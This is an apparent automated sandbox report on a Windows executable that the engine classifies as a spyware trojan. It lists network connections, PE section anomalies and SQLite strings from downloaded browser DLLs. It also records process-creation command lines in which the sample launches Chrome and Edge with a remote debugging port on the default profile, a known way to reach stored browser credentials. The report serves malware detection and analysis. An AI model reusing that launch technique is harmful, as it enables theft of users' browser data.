Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:50030 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2546647120.000000006C825000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: chpvhele ZLIB complexity 0.9950256620053556

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/297@26/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\45RMI3W5.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\13ba0118-e1f0-40b3-a4c5-d214234a788f.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2267873889.000000001D108000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379704682.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2378994942.000000001D0FC000.00000004.00000020.00020000.00000000.sdmp, IJJJKEGHJKFHJKFHDHCF.0.dr, AKFCBFHJDHJKECAKEHID.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546039450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2412,i,13784969415282390054,5886882704676718212,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2480 --field-trial-handle=2340,i,2700430102709419326,11694449146032841153,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6832 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
